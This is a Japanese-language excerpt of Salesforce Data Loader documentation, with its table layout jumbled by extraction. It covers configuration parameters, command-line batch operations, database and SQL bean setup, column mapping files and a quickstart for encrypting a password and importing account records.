サンプル値: LegacySKU__c

一度のエクスポートまたはクエリ操作で
Salesforceから返されるレコードは、このオ

クエリ要求
のサイズ整数sfdc.extractionRequestSize

プションで指定したサイズで増分されま
す。最大値は 2,000 です。値が大きいほど
パフォーマンスは向上しますが、クライア
ントでのメモリ消費量が多くなります。
サンプル値: 500

データエクスポート用の SOQL クエリ。
サンプル値: SELECT Id, LastName,
FirstName, Rating, AnnualRevenue,
OwnerId FROM Leadなし

文字列
型sfdc.extractionSOQL

このオプションを選択すると、null 値と
して空白の対応値がデータ操作中に挿入さ

null 値を
挿入

ブール
型sfdc.insertNulls

れます。レコードを更新するときにこのオ
プションが有効になっていると、対応付け
が行われた項目の既存データがデータロー
ダによってすべて上書きされます。
サンプル値: false

一度の挿入、更新、更新/挿入、削除操作
でSalesforceに対して入出力されるレコード

バッチサイ
ズ整数sfdc.loadBatchSize

は、このオプションで指定したサイズで増
分されます。最大値は、200 です。50 から
100 までの値をお勧めします。
サンプル値: 100

Salesforceへの接続を繰り返し試行する場合
の最大数。「sfdc.enableRetries」
(ページ 789)を参照してください。
サンプル値: 3なし整数sfdc.maxRetries

接続再試行の待ち時間の最少値 (秒数)。待
ち時間は、試行ごとに増えていきます。なし整数sfdc.minRetrySleepSecs
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

「sfdc.enableRetries」 (ページ 789) を
参照してください。
サンプル値: 2

圧縮はデータローダのパフォーマンスを向
上させます。この機能はデフォルトで有効

圧縮
ブール
型sfdc.noCompression

になっています。下層の SOAP メッセージ
のデバッグの際などには、圧縮の無効化が
必要なこともあります。圧縮を無効にする
場合は、このオプションを有効にします。
サンプル値: false

sfdc.usernameで指定したユーザ名に対
応する暗号化されたSalesforceパスワード。

なし

暗号化
された
文字列sfdc.password

「コマンドラインからの暗号化」 (ページ
781)も参照してください。
サンプル値: 4285b36161c65a22

プロキシサーバのホスト名です (該当する
場合のみ)。
サンプル値:
http://myproxy.internal.company.com

プロキシホ
ストURLsfdc.proxyHost

sfdc.proxyUsernameで指定したプロキ
シユーザ名に対応する暗号化されたパス

プロキシパ
スワード

暗号化
された
文字列sfdc.proxyPassword

ワード。「コマンドラインからの暗号化」
(ページ 781)も参照してください。
サンプル値: 4285b36161c65a22

プロキシサーバのポートです。
サンプル値: 8000

プロキシ
ポート整数sfdc.proxyPort

プロキシサーバ認証用のユーザ名です。
サンプル値: jane.doe

プロキシ
ユーザ名

文字列
型sfdc.proxyUsername

デフォルトでは、Salesforce は
sfdc.endpointで指定した URL にログイログイン時

に URL を
リセット

ブール
型sfdc.resetUrlOnLogin

ンした後、その URL をリセットします。こ
の自動リセットを無効にするには、このオ
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

プションを false に設定して無効にしま
す。
有効な値: true  (デフォルト)、false

要求のエラーが返されるまでに、データ
ローダがサーバからの応答を待つ時間を秒
数で指定します。
サンプル値: 540

タイムアウ
ト整数sfdc.timeoutSecs

日付値にタイムゾーンが含まれない場合
は、この値が使用されます。

タイムゾー
ン

文字列
型sfdc.timezone

• 値が指定されていない場合は、データ
ローダがインストールされているコン
ピュータのタイムゾーンが使用されま
す。

• 間違った値が入力された場合は、GMT

がタイムゾーンとして使用され、その
ことがデータローダログに記録されま
す。

有効な値は、Java

getTimeZone(java.lang.String)メ
ソッドに渡すことができるすべてのタイム
ゾーン識別子です。値は、
America/Los_Angelesなどのフルネーム
か、GMT-8:00などのカスタム ID にできま
す。
Java で書かれている
TimeZone.getDefault() メソッドを実
行して、デフォルト値を取得できます。こ
の値は、データローダがインストールされ
たコンピュータのタイムゾーンです。

このオプションを選択すると、データが
Salesforceに読み込まれたときに、メール、

項目の切り
捨てを許可

ブール
型sfdc.truncateFields

複数選択の選択リスト、電話、選択リス
ト、テキスト、および暗号化テキストの項
目のデータを切り捨てます。
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

バージョン 14.0 以前のデータローダでは、
データが大きすぎる場合にはデータローダ
が、これらの種類の項目の値を切り捨てま
す。バージョン 15.0 以降のデータローダで
は、指定された値が大きすぎる場合の読み
込み処理がエラーになります。
このオプションを指定すると、バージョン
15.0 以降のデータローダでの新しい動作で
はなく、以前の動作である切り取りを使用
するように指定できます。このオプション
はデフォルトで選択されており、バージョ
ン 14.0 以前の製品には無効です。
[Bulk API を使用] オプションがオンの
場合、このオプションは使用できません。
この場合、項目に対して大きすぎる値が指
定されると、その行の読み込み処理は失敗
します。
サンプル値: true

このオプションを選択すると、Bulk APIを使
用して、レコードの挿入、更新、更新/挿

Bulk API

を使用
ブール
型sfdc.useBulkApi

入、削除、および物理削除が行われます。
Bulk APIは、多数のレコードを非同期で読み
込みまたは削除するように最適化されま
す。この API は並列処理を行い、ネットワー
ク往復数を少なくすることで、デフォルト
の SOAP ベースのAPIよりも高速に動作しま
す。「sfdc.bulkApiSerialMode」も参
照してください。
サンプル値: true

Salesforce ユーザ名。「sfdc.password」
を参照してください。
サンプル値: jdoe@mycompany.comなし

文字列
型sfdc.username
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データローダのコマンドライン操作

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダをバッチモードで実行するときに、いくつか
の操作がサポートされます。操作は、Salesforceと、CSV ファイルやデータベース
などの外部データソースとの間のデータフローを表します。次に示す操作名と
説明のリストを参照してください。
Extract (抽出)

Salesforce Object Query Language を使用して、Salesforce からレコードセットをエ
クスポートし、エクスポートしたデータをデータソースに書き込みます。論
理削除されたレコードは含みません。

Extract All (すべて抽出)

Salesforce Object Query Language を使用して、既存のレコードおよび論理削除されたレコードの両方を含むレ
コードセットを Salesforce からエクスポートし、エクスポートしたデータをデータソースに書き込みます。

Insert (挿入)

データソースから得たデータを新規レコードとして Salesforce に読み込みます。
Update (更新)

データソースから得たデータを Salesforce に読み込み、ID 項目が一致する既存のレコードを更新します。
Upsert (更新/挿入)

データソースから得たデータを Salesforce に読み込み、カスタム外部 ID 項目が一致する既存のレコードを更
新し、一致しないレコードは新規レコードとして挿入します。

Delete (削除)

データソースから得たデータを Salesforce に読み込み、ID 項目が一致する既存のレコードを削除します。
Hard Delete (物理削除)

データソースから得たデータを Salesforce に読み込み、ID 項目が一致する既存のレコードを、いったんごみ
箱に保存することはせずに削除します。

データベースアクセスの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダをバッチモードで実行するときに、
\samples\conf\database-conf.xml を使用して、データベースアクセスオ
ブジェクトを設定します。これを使用して、データベースから直接データを抽
出します。

DatabaseConfig Bean

トップレベルのデータベース設定オブジェクトは DatabaseConfig  bean です。
これには、次のプロパティがあります。
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sqlConfig

データベースとのやりとりを行うデータアクセスオブジェクトのための SQL 設定 bean。
dataSource

データベースのドライバおよび認証機能として機能する bean。
org.apache.commons.dbcp.BasicDataSourceなどの javax.sql.DataSourceの実装も参照する必要
があります。

次のコードに、DatabaseConfig bean のサンプルを示します。
<bean id="AccountInsert"

class="com.salesforce.dataloader.dao.database.DatabaseConfig"
singleton="true">
<property name="sqlConfig" ref="accountInsertSql"/>

</bean>

DataSource

DataSource  bean は、データベース接続に必要な物理情報を設定します。次のプロパティが含まれています。
driverClassName

JDBC ドライバ実装の完全修飾名。
url

データベースへの物理的接続のための文字列。
username

データベースにログインするためのユーザ名。
password

データベースにログインするためのパスワード。
実装に応じて、追加情報が必要になる場合があります。たとえば、データベース接続がプールされる場合は、
org.apache.commons.dbcp.BasicDataSource を使用します。
次のコードに、DataSource bean のサンプルを示します。
<bean id="oracleRepDataSource"

class="org.apache.commons.dbcp.BasicDataSource"
destroy-method="close">
<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
<property name="url" value="jdbc:oracle:thin:@myserver.salesforce.com:1521:TEST"/>
<property name="username" value="test"/>
<property name="password" value="test"/>

</bean>

APIバージョン 25.0 以降のデータローダのバージョンには、Oracle JDBC ドライバは付属していません。JDBC ドラ
イバをインストールせずにデータローダから Oracle データソースに接続しようとすると、「JDBC ドライバクラ
スを読み込めません」というエラーが表示されます。Oracle JDBC ドライバをデータローダに追加する手順は、
次のとおりです。
• http://www.oracle.com/technetwork/database/features/jdbc/index-091264.htmlから最新の

JDBC ドライバをダウンロードします。
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• JDBC .jar ファイルを データローダのインストールフォルダ/java/bin にコピーします。

関連トピック:

Spring Framework

データアクセスオブジェクト
SQL の設定

Spring Framework

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

データローダ設定ファイルは、Spring Framework (オープンソースのフルスタック
Java/J2EE アプリケーションフレームワーク) に基づいています。
Spring Framework では、XML ファイルを使用して bean を設定できます。各 bean は
オブジェクトのインスタンスを表し、パラメータは、各オブジェクトの setter メ
ソッドに対応します。一般的な bean には、次の属性があります。
id

XmlBeanFactory  (XML 設定ファイルからオブジェクトを取得するクラス) に
対して bean を一意に特定します。

class

bean インスタンスの実装クラスを指定します。
Spring Framework についての詳細は、公式マニュアルおよびサポートフォーラムを参照してください。Salesforce

は、外部 Web サイトの可用性や精度を保証しません。

関連トピック:

データベースアクセスの設定

データアクセスオブジェクト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダをバッチモードで実行するときに、いくつか
のデータアクセスオブジェクトがサポートされます。データアクセスオブジェ
クトにより、Salesforce の外にある外部データソースへのアクセスが可能になり
ます。参照インターフェース (DataReader)、更新インターフェース
(DataWriter)、またはその両方を実装できます。次に示すオブジェクト名と説
明のリストを参照してください。
csvRead

カンマ区切りまたはタブ区切りのファイルの読み込みが可能です。ファイル
の先頭には、各列を説明するヘッダー行が必要です。
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csvWrite

カンマ区切りのファイルへの書き込みが可能です。呼び出し側が提供する列リストに基づいて、ファイル
の先頭にヘッダー行が追加されます。

databaseRead

データベースの読み込みが可能です。database-conf.xml を使用して、データベースアクセスを設定し
ます。

databaseWrite

データベースへの書き込みが可能です。database-conf.xml を使用して、データベースアクセスを設定
します。

関連トピック:

データベースアクセスの設定

SQL の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダをバッチモードで実行しているときに、
SqlConfigクラスには、データベース内の特定のデータにアクセスするための
設定パラメータが含まれます。次のコードサンプルに示すように、クエリと挿
入は違うものですが、よく似ています。bean は、タイプが
com.salesforce.dataloader.dao.database.SqlConfig で、次のプロパ
ティを持っている必要があります。
sqlString

データアクセスオブジェクトが使用する SQL コード。
SQL には、設定や操作変数に応じて文字列を作成する置換パラメータを含め
ることができます。置換パラメータは、始めと終わりの両端を「@」文字で区切る必要があります。たと
えば、@process.lastRunDate@ となります。

sqlParams

sqlStringで指定した置換パラメータの説明が含まれているタイプ mapのプロパティ。各エントリが 1 つ
の置換パラメータを表します。キーは置換パラメータの名前、値はパラメータが SQL 文に設定された場合
に使用される完全修飾された Java 型です。java.util.Date に代わる java.sql.Date など、「java.sql」
型が必要になる場合があります。詳細は、JDBC API の公式マニュアルを参照してください。

columnNames

クエリ (SELECT ステートメント) が JDBC ResultSet を返す場合に使用されます。SQL の実行によって出力
されたデータの列名が含まれています。列名を使用して、DataReader インターフェースの呼び出し元に
アクセスして出力を返します。

SQL クエリ bean の例
<bean id="accountMasterSql"

class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
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<property name="sqlString"/>
<value>

SELECT distinct
'012x00000000Ij7' recordTypeId,
accounts.account_number,
org.organization_name,
concat (concat(parties.address1, ' '), parties.address2) billing_address,

locs.city,
locs.postal_code,
locs.state,
locs.country,
parties.sic_code

from
ar.hz_cust_accounts accounts,
ar.hz_organization_profiles org,
ar.hz_parties parties,
ar.hz_party_sites party_sites,
ar.hz_locations locs

where
accounts.PARTY_ID = org.PARTY_ID
and parties.PARTY_ID = accounts.PARTY_ID
and party_sites.PARTY_ID = accounts.PARTY_ID
and locs.LOCATION_ID = party_sites.LOCATION_ID
and (locs.last_update_date > @process.lastRunDate@ OR

accounts.last_update_date > @process.lastRunDate@
</value>

</property>
<property name="columNames">

<list>
<value>recordTypeId</value>
<value>account_number</value>
<value>organization_name</value>
<value>billing_address</value>
<value>city</value>
<value>postal_code</value>
<value>state</value>
<value>country</value>
<value>sic_code</value>

</list>
</property>
<property name="sqlParams">

<map>
<entry key="process.lastRunDate" value="java.sql.Date"/>

</map>
</property>

</bean>

SQL 挿入 Bean の例
<bean id="partiesInsertSql"

class="com.salesforce.dataloader.dao.database.SqlConfig"
singleton="true">
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<property name="sqlString"/>
<value>

INSERT INTO REP.INT_PARTIES (
BILLING_ADDRESS, SIC_CODE)
VALUES (@billing_address@, @sic_code@)

</value>
</property>
<property name="sqlParams"/>

<map>
<entry key="billing_address" value="java.lang.String"/>
<entry key="sic_code" value="java.lang.String"/>

</map>
</property>

</bean>

関連トピック:

データベースアクセスの設定

列の対応付け

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダをバッチモードで実行するときに、Salesforce

の値とデータアクセスオブジェクトの値を対応付けるプロパティファイルを作
成する必要があります。
1. 対応付けファイルを新規作成して、拡張子に .sdl を指定します。
2. 次の構文に従ってください。

• 各ラインで、データのソースと保存先のペアを作成します。
• インポートファイルでは、データソースを左に置き、等号 (=) で区切り、

保存先を右に置きます。エクスポートファイルでは、データソースを左
に置き、等号 (=) で区切り、保存先を右に置きます。

• データソースは、列名と定数のどちらでもかまいません。定数は、"sampleconstant" のように、二重引用
符で囲みます。引用符の付かない値は、列名として扱われます。

• 保存先は、列名とします。
• 二重引用符で囲んだ定数を、次のように対応付けできます。

"Canada"=BillingCountry

3. 設定ファイルで、パラメータ process.mappingFileを使用して、対応付けるファイルの名前を指定しま
す。

メモ: 項目名にスペースが含まれる場合、スペースの直前にバックスラッシュ (\) を追加してエスケープ
する必要があります。次に例を示します。
Account\ Name=Name
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データ挿入の列の対応付けの例
Salesforce 項目は、右側にあります。
SLA__C=SLA__c
BILLINGCITY=BillingCity
SYSTEMMODSTAMP=
OWNERID=OwnerId
CUSTOMERPRIORITY__C=CustomerPriority__c
ANNUALREVENUE=AnnualRevenue
DESCRIPTION=Description
BILLINGSTREET=BillingStreet
SHIPPINGSTATE=ShippingState

データエクスポートの列の対応付けの例
Salesforce 項目は、左側にあります。
Id=account_number
Name=name
Phone=phone

定数値の列の対応付け
データローダは、データの挿入、更新、エクスポート時に項目に定数を割り当てる機能をサポートしていま
す。各レコードで項目に同じ値を設定する必要がある場合、項目と値を CSV ファイルやエクスポートクエリに
指定する代わりに、.sdl 対応付けファイルに定数を指定します。
定数は、二重引用符で囲む必要があります。たとえば、データのインポートの構文は"constantvalue"=field1

です。
複数の項目に同じ値を設定する必要がある場合、定数とカンマで区切った項目名を指定する必要があります。
たとえば、データのインポートの構文は、"constantvalue"=field1, field2 となります。
以下に、データを挿入する .sdl の例を示します。Salesforce 項目は、右側にあります。最初の 2 行は、データ
ソースを保存先項目に対応付け、後ろの 3 行は定数を保存先項目に対応付けています。
Name=Name
NumEmployees=NumberOfEmployees
"Aerospace"=Industry
"California"=BillingState, ShippingState
"New"=Customer_Type__c

定数には、少なくとも 1 つの英字を含めます。

メモ: 指定した定数値にスペースが含まれる場合、スペースの直前にバックスラッシュ (\) を追加してエ
スケープする必要があります。次に例を示します。
"Food\ &\ Beverage"=Industry
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個々のバッチプロセスの実行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

個々のバッチプロセスを開始するには、\bin\process.batを使用します。次
のパラメータが必要です。
設定ディレクトリ

デフォルトは \conf です。
代替ディレクトリを使用するには、新しいディレクトリを作成し、そこに次
のファイルを追加します。
• プロセスが対話形式でない場合、\samples\conf から

process-conf.xml をコピーします。
• プロセスがデータベースとの接続を必要とする場合、\samples\confから database-conf.xmlをコ

ピーします。
• \conf から config.properties をコピーします。

プロセス名
\samples\conf\process-conf.xml から得た ProcessRunner bean の名前。

プロセスの例

process ../conf accountMasterProcess

メモ:  Microsoft Windows XP スケジュールタスクウィザードなどの外部プロセスランチャーを設定して、ス
ケジュール通りにプロセスを実行できます。

データローダの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

データのインポートとエクスポートは、データローダでインタラクティブに実
行できるだけでなく、コマンドラインを使って実行することもできます。コマ
ンドを使用して、データのインポートとエクスポートを自動化できます。
このクイックスタートでは、データローダコマンドライン機能を使ってデータ
をインポートする方法を説明します。次の手順に従います。
• ステップ 1: 暗号化キーを作成する
• ステップ 2: ログインユーザ名の暗号化パスワードを作成する
• ステップ 3: 項目の対応付けファイルを作成する
• ステップ 4: インポート設定を含む process-conf.xml ファイルを作成する
• ステップ 5: プロセスを実行してデータをインポートする
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前提条件

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

このクイックスタートを実行するには、次の項目が必要です。
• データローダ。コマンドラインプロセスを実行するコンピュータにインス

トールされていること。
• Java Runtime Environment (JRE)。コマンドラインプロセスを実行するコンピュー

タにインストールされていること。
• データローダのユーザインターフェースでインタラクティブにデータをイン

ポートおよびエクスポートするための知識。これを知っておくと、コマンド
ライン機能の動作をより簡単に理解できます。

ヒント: データローダをインストールすると、samples ディレクトリにサンプルファイルがインストールさ
れます。このディレクトリはプログラムディレクトリ (例 C:\Program Files

(x86)\salesforce.com\Apex Data Loader 22.0\samples\) にあります。このクイックスタートで
使用されるファイルの例は、\samples\conf ディレクトリにあります。

ステップ 1: 暗号化キーを作成する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインでデータローダを使用する場合はユーザインターフェースがな
いため、通常はユーザインターフェースに入力する情報を process-conf.xml

というテキストファイルで提供する必要があります。たとえば、データローダ
がSalesforceにログインするために使用するユーザ名とパスワードを追加します。
パスワードは、process-conf.xmlファイルに追加する前に暗号化しておく必
要があるため、このプロセスでは、キーの作成が最初のステップとなります。
1. [スタート] > [すべてのプログラム] > [アクセサリ] > [コマンドプロンプト] を

クリックして、コマンドプロンプトウィンドウを開きます。または、[スター
ト] > [ファイル名を指定して実行] をクリックして、[名前] 項目に「cmd」と
入力し、[OK] をクリックします。

2. コマンドウィンドウに「cd\」と入力し、データローダがインストールされているドライブのルートディレ
クトリに移動します。

3. 次のコマンドを入力して、データローダの \bin に移動します。このファイルパスを使用しているシステ
ムのパスに必ず置き換えてください。
cd C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\bin

4. 次のコマンドを入力して、暗号化キーを作成します。<seedtext> を任意の文字列に置き換えます。
encrypt.bat —g <seedtext>

メモ: encrypt.bat のコマンドラインオプションのリストを表示するには、コマンドラインに
「encrypt.bat」と入力します。
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5. 生成されたキーをコマンドウィンドウから key.txtというテキストファイルにコピーし、ファイルパスを
書き留めます。この例では、生成されたキーを e8a68b73992a7a54 とします。

メモ: コマンドウィンドウの簡易編集モードを有効にすると、ウィンドウ間のデータのコピーをより
簡単に行えるようになります。簡易編集モードを有効にするには、ウィンドウの上部を右クリックし
て [プロパティ] を選択し、[オプション] タブで [クイック編集モード] を選択してください。

パスワードの暗号化には暗号化ユーティリティが使用されますが、データローダを使用して送信されるデータ
は暗号化されません。

関連トピック:

ステップ 2: 暗号化パスワードを作成する

ステップ 2: 暗号化パスワードを作成する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

このステップでは、前のステップで生成したキーを使って、暗号化されたパス
ワードを作成します。
1. 同じコマンドプロンプトウィンドウに、次のコマンドを入力します。

<password> をデータローダが Salesforce にログインするために使用するパス
ワードに置き換えます。<filepath> を前のステップで作成した key.txt ファ
イルへのファイルパスに置き換えます。
encrypt.bat –e <password> "<filepath>\key.txt"

2. コマンドが生成する暗号化パスワードをコピーします。後続のステップで、
この値を使用します。

関連トピック:

ステップ 3: 項目の対応付けファイルを作成する

ステップ 3: 項目の対応付けファイルを作成する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

このステップでは、.sdlファイル拡張子を使用して対応付けファイルを作成し
ます。対応付けファイルの各ラインで、データのソースと保存先のペアを作成
します。
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1. テキストファイルに次をコピーし、accountInsertMap.sdl という名前で保存します。これはデータの
挿入であるため、データソースは等号符の左、保存先項目は等号符の右です。
#Mapping values
#Thu May 26 16:19:33 GMT 2011
Name=Name
NumberOfEmployees=NumberOfEmployees
Industry=Industry

ヒント: 複雑な対応付けでは、データローダユーザインターフェースを使用してソース項目と保存先
項目を対応付けてから、これらの対応付けを .sdl に保存します。この作業は、[対応付けを保存] を
クリックして [対応付け] ダイアログボックスで行います。

関連トピック:

ステップ 4: 設定ファイルを作成する

ステップ 4: 設定ファイルを作成する

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

process-conf.xmlファイルには、データローダがデータを処理するために必
要な情報が含まれています。process-conf.xmlファイルの各 <bean>は、挿
入、更新/挿入、エクスポートなどの単一の処理を参照するため、このファイル
には、複数の処理が含まれることがあります。このステップでは、Salesforce に
取引先を挿入するためのファイルを編集します。
1. \samples\conf ディレクトリから process-conf.xml ファイルをコピー

します。元のファイルには更新/挿入やエクスポートなどの他の種類のデータ
ローダが含まれているため、必ずそのファイルをコピーしてください。

2. テキストエディタでファイルを開き、次の XML の内容に置き換えます。
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<beans>

<bean id="accountInsert"
class="com.salesforce.dataloader.process.ProcessRunner"
singleton="false">
<description>accountInsert job gets the account record from the CSV file

and inserts it into Salesforce.</description>
<property name="name" value="accountInsert"/>
<property name="configOverrideMap">

<map>
<entry key="sfdc.debugMessages" value="true"/>
<entry key="sfdc.debugMessagesFile"

value="C:\DLTest\Log\accountInsertSoapTrace.log"/>
<entry key="sfdc.endpoint" value="https://servername.salesforce.com"/>
<entry key="sfdc.username" value="admin@Org.org"/>
<!--Password below has been encrypted using key file,

therefore, it will not work without the key setting:
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process.encryptionKeyFile.
The password is not a valid encrypted value,
please generate the real value using the encrypt.bat utility -->

<entry key="sfdc.password" value="e8a68b73992a7a54"/>
<entry key="process.encryptionKeyFile"

value="C:\DLTest\Command Line\Config\key.txt"/>
<entry key="sfdc.timeoutSecs" value="600"/>
<entry key="sfdc.loadBatchSize" value="200"/>
<entry key="sfdc.entity" value="Account"/>
<entry key="process.operation" value="insert"/>
<entry key="process.mappingFile"

value="C:\DLTest\Command Line\Config\accountInsertMap.sdl"/>
<entry key="dataAccess.name"

value="C:\DLTest\In\insertAccounts.csv"/>
<entry key="process.outputSuccess"

value="c:\DLTest\Log\accountInsert_success.csv"/>
<entry key="process.outputError"

value="c:\DLTest\Log\accountInsert_error.csv"/>
<entry key="dataAccess.type" value="csvRead"/>
<entry key="process.initialLastRunDate"

value="2005-12-01T00:00:00.000-0800"/>
</map>

</property>
</bean>

</beans>

3. process-conf.xmlファイル内の次のパラメータを編集します。プロセス設定パラメータについての詳細
は、「データローダプロセスの設定パラメータ」 (ページ 784)を参照してください。
• sfdc.endpoint: 組織の Salesforce インスタンスの URL (https://yourInstance.salesforce.com/ な

ど) を入力します。
• sfdc.username: データローダがログインに使用するユーザ名を入力します。
• sfdc.password: ステップ 2 で作成した、暗号化パスワードの値を入力します。
• process.mappingFile: 対応付けファイルのパスとファイル名を入力します。
• dataAccess.Name: インポートする取引先を含むデータファイルのパスとファイル名します。
• sfdc.debugMessages: 現在、トラブルシューティングの目的で、trueに設定されています。インポー

トの実行を開始した後は、これを false に設定します。
• sfdc.debugMessagesFile: コマンドラインのログファイルのパスとファイル名を入力します。
• process.outputSuccess: 成功ログファイルのパスとファイル名を入力します。
• process.outputError: エラーログファイルのパスとファイル名を入力します。

警告: 異なる XML エディタを使って process-conf.xml ファイルを編集する場合は注意してくださ
い。一部のエディタは、ファイルの始めと終わりに XML タグを追加するため、インポートに失敗しま
す。

関連トピック:

ステップ 5: データをインポートする
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ステップ 5: データをインポートする

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

レコードに対する「作成」レコードを挿入する

レコードに対する「編集」レコードを更新する

レコードに対する「作成」または「編
集」

レコードを更新/挿入する

レコードに対する「削除」レコードを削除する

レコードに対する「削除」レコードを物理削除する

メモ: データローダのコマンドラインインターフェースは、Windows でのみサポートされています。

すべての項目の準備が整い、コマンドラインからデータローダを実行し、新しい取引先をいくつか挿入できる
ようになりました。
1. 次のデータをファイル名 accountInsert.csv にコピーします。これは、組織にインポートする取引先

データです。
Name,Industry,NumberOfEmployees
Dickenson plc,Consulting,120
GenePoint,Biotechnology,265
Express Logistics and Transport,Transportation,12300
Grand Hotels & Resorts Ltd,Hospitality,5600

2. コマンドプロンプトウィンドウで、次のコマンドを入力します。
process.bat "<file path to process-conf.xml>" <process name>

• <file path to process-conf.xml> を process-conf.xml を含むディレクトリのパスに置き換えます。
• <process name> を process-conf.xml に指定されたプロセスに置き換えます。
コマンドは、次のようになります。
process.bat "C:\DLTest\Command Line\Config" accountInsert

プロセスが実行されると、コマンドプロンプトウィンドウに成功とエラーのメッセージが表示されます。
また、ログファイル (insertAccounts_success.csvと insertAccounts_error.csv) を確認できます。
プロセスが正常に実行されると、insertAccounts_success.csv ファイルには、インポートしたレコー
ドと各レコードの ID と状況が含まれます。状況ファイルについての詳細は、「データローダの出力ファイ
ルの確認」 (ページ 778)を参照してください。
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データローダのサードパーティのライセンス

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

次のサードパーティのライセンスは、データローダのインストールに含まれま
す。

ライセンスバージョン番
号

テクノロジ

http://www.apache.org/licenses/LICENSE-2.01.6Apache Jakarta Commons
BeanUtils

http://www.apache.org/licenses/LICENSE-2.03.1Apache Commons
Collections

http://www.apache.org/licenses/LICENSE-2.01.2.1Apache Commons
Database Connection
Pooling (DBCP)

http://www.apache.org/licenses/LICENSE-1.11.0.3Apache Commons
Logging

http://www.apache.org/licenses/LICENSE-2.01.2Apache Commons Object
Pooling Library

http://www.apache.org/licenses/LICENSE-2.01.2.8Apache Log4j

http://www.eclipse.org/legal/epl-v10.html3.452Eclipse SWT

http://www.opensymphony.com/quartz/license.action1.5.1OpenSymphony Quartz
Enterprise Job Scheduler

http://www.mozilla.org/MPL/MPL-1.1.txt1.6R2Rhino JavaScript for Java

http://www.apache.org/licenses/LICENSE-2.0.txt1.2.6Spring Framework

メモ: Salesforceは、サードパーティの Web サイトの可用性またはコンテンツには責任を負わないものとし
ます。

インポートに関する一般的な質問
エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
すべてのエディション。

• Salesforce にデータ一括アップロードできますか?

• データをSalesforceにアップロードする場合、Outlook を同期すべきですか、そ
れともインポートウィザードを使用すべきですか?

• 組織で誰がインポートウィザードを使用できますか?

• レコードをインポートするのに必要な権限は何ですか?

• インポートウィザードはどのようなファイル形式を処理できますか?

• どのデータをインポートできますか?

• インポートファイルの最大サイズは?

• データローダにログインできないのはなぜですか?
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• データローダが特殊文字をインポートしないのはなぜですか?

• カスタム項目にインポートできますか?

• 自分のページレイアウトにない項目にインポートできますか?

• 値が一致しない場合、データを選択リスト項目にインポートできますか?

• 間違ったデータをインポートしてしまった場合、そのデータを削除することはできますか?

• データインポートウィザードを使用して、指定した Salesforce ID に一致するレコードを更新する方法は?

• データローダを使用すると日付項目のインポートが正しく行われないのはなぜですか?

• ファイルのインポートの所要時間は?

• ファイルのインポートが遅れる理由は?

• 通貨が異なる金額をインポートできますか?

• カスタマーサポートでデータのインポートを助けてもらえますか?

• データを複数の言語でインポートできますか?

• レコードを一括更新する方法は?

• 空白の値を使用した項目の更新方法は?

• 外部 ID とは?

